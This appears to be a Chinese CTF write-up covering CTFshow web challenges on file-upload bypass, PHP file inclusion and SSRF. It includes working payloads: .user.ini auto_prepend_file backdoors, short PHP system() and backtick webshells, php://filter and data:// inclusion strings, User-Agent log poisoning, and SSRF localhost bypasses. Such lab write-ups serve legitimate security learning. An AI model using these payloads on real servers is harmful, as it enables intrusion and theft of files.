1,web153
大小写绕过失败

使用.user.ini 来构造后⻔

php.ini是php的⼀个全局配置⽂件,对整个web服务起作⽤;⽽.user.ini和.htaccess⼀样是⽬录的配置⽂件,.user.ini就是⽤户⾃定义的⼀个php.ini,我们可以利⽤这个⽂件来构造后⻔和隐藏后⻔。.htaccess是Apache的,.user.ini是Nginx的
php 配置项中有两个配置可以起到一些作用
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
这两个配置项的作用相当于一个文件包含,比如
// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。 局限
在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
user. ini 文件 是PHP的配置文件,用于自定义PHP的配置选项。
在文件上传中,.user.ini和.htaccess作用差不多,都是一种 配置文件 指定对于文件的解析方式。
先上传.user.ini文件里面的auto_prepend_file=要写入恶意代码的文件,然后上传恶意文件,之后访问upload

先上传木马图片,再上传ini文件
先改成png,绕过前端


2,web154
前端校验


无法使用<=eval($_POST[1]);?>,使用<?system("tac ../flag.*");?>

3,web155
和上面的一样使用.user.ini绕过,还是过滤了php



4,web156

有过滤,通过测试发现是[]括号
试了一下编码进行绕过,发现不行
不过可以使用前面的命令执行语句
<?=system("tac ../flag.*");?>

5,web157
还是可以上传ini

做过滤了

试了一下发现是分号

短标签没有;号也可以

6,web158
和上面的一样

7,web159
有过滤找过滤

通过测试发现过滤了()号

使用反引号绕过
在权限足够的情况下,PHP中的反引号可以直接执行系统命令,这被称为内敛执行。
使用反引号会将里面的命令当成系统命令执行
反引号(相当于shell_exec() )
shell_exec() 是 PHP 中的一个函数,它允许你执行外部程序,并且可能返回最后一行的输出。

8,web160

有过滤测试过滤,过滤了空格和反引号,还要括号()

看了一下wp,发现是用php伪协议读取文件
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
include:这是PHP中的一个函数,用于包含并运行指定文件的内容。如果文件包含成功,其内容将被输出到当前位置。

除了包含文件还可以通过包含日志写入一句话木马找到flag

没成功

9,web161
一开始以为是过滤了ini文件,结果是类型


看了一下wp发现是文件头的校验
.JPEG;.JPE;.JPG,”JPGGraphic File”
.gif,”GIF 89A”
.zip,”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach

之后就好办了,用上一题的文件包含


10,web166
进行上传发现职业zip文件可以上传
在里面写入一句话木马进行上传


点击下载,更改请求,它默认包含了传的zip文件


11,web167
让上传jpg的文件

看一下中间件

通过传入没有后缀的文件,可以看出是黑名单

对类型做判断

看了一下提示,搜索了一下


apche试一下解析漏洞

改一下前端




12,web168

经过测试发现过滤了eval和POST还要get,system也给过滤了
不过我想到了160题的用反引号做出来的


发现不行,看了一下wp,发现要免杀
额发现是名字不对,不过看了一下这个加一些正常特征也可以绕过


看wp还可以REQUEST绕过,没测

13,web169

看一下让上传什么

先随便上传一个看看,把内容全删还是不行,试试改变类型

发现可以了

通过测试发现过滤了php和<>
试了一下发现对文件后缀没做限制,这时候试试前面的ini配置文件绕过,直接包含是不行了,试试日志包含

在ua头里面放入一句话

phpinfo() 可作为瞄点

14,web170



直接抓包开测
类型是image/png
对文件后缀没做限制
试一下上一关的日志包含




成功获取到flag
15,web78

利用php伪协议的data协议和input协议都能解。
传参 file=data://text/plain,<?php system("ls");?>,查看目录,然后传参 file=data://text/plain,<?php system("tac flag.php");?>,拿到flag。
或者传参 file=php://input 同时内容为 ?php system("ls");?>,查看目录
不知道为什么cat用不了,只能yongtac

16,web351

error_reporting(0);
- 这行代码用于关闭PHP的错误报告。
使用 curl_init() 函数初始化一个新的cURL会话,并传入之前从POST请求中获取的URL。
使用 curl_setopt() 函数设置cURL会话的选项。这里设置的选项是 CURLOPT_HEADER,其值被设置为0,意味着在返回的结果中不包含HTTP头部信息。
再次使用 curl_setopt() 函数设置选项。这次设置的选项是 CURLOPT_RETURNTRANSFER,其值被设置为1,意味着cURL执行结果(即访问指定URL后得到的内容)将作为字符串返回,而不是直接输出。
使用 curl_exec() 函数执行之前初始化的cURL会话。这个函数返回的是访问指定URL后得到的内容(基于之前设置的 CURLOPT_RETURNTRANSFER 选项)
curl_close($ch);
- 使用 curl_close() 函数关闭cURL会话,释放相关资源。
echo ($result);
- 输出cURL执行结果,即访问指定URL后得到的内容。
传入127.0.0.1,进行本地访问

17,web352

代码中虽然是有过滤但是去没有用。。

18,web353

使用ip转数字


19,web354

过滤了1和0
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?php
header("Location:http://127.0.0.1/flag.php");
重定向到127

20,web355

要满足(strlen($host)<=5)
本机ip、127.0.0.1和0.0.0.0区别 - 小窝蜗 - 博客园
一个非常特殊的IP:0.0.0.0
这个IP相当于java中的this,代表当前设备的IP。
使用url=http://0/flag.php,读取flag

21,web356

((strlen($host)<=3))
用上面的payload,还是可以的

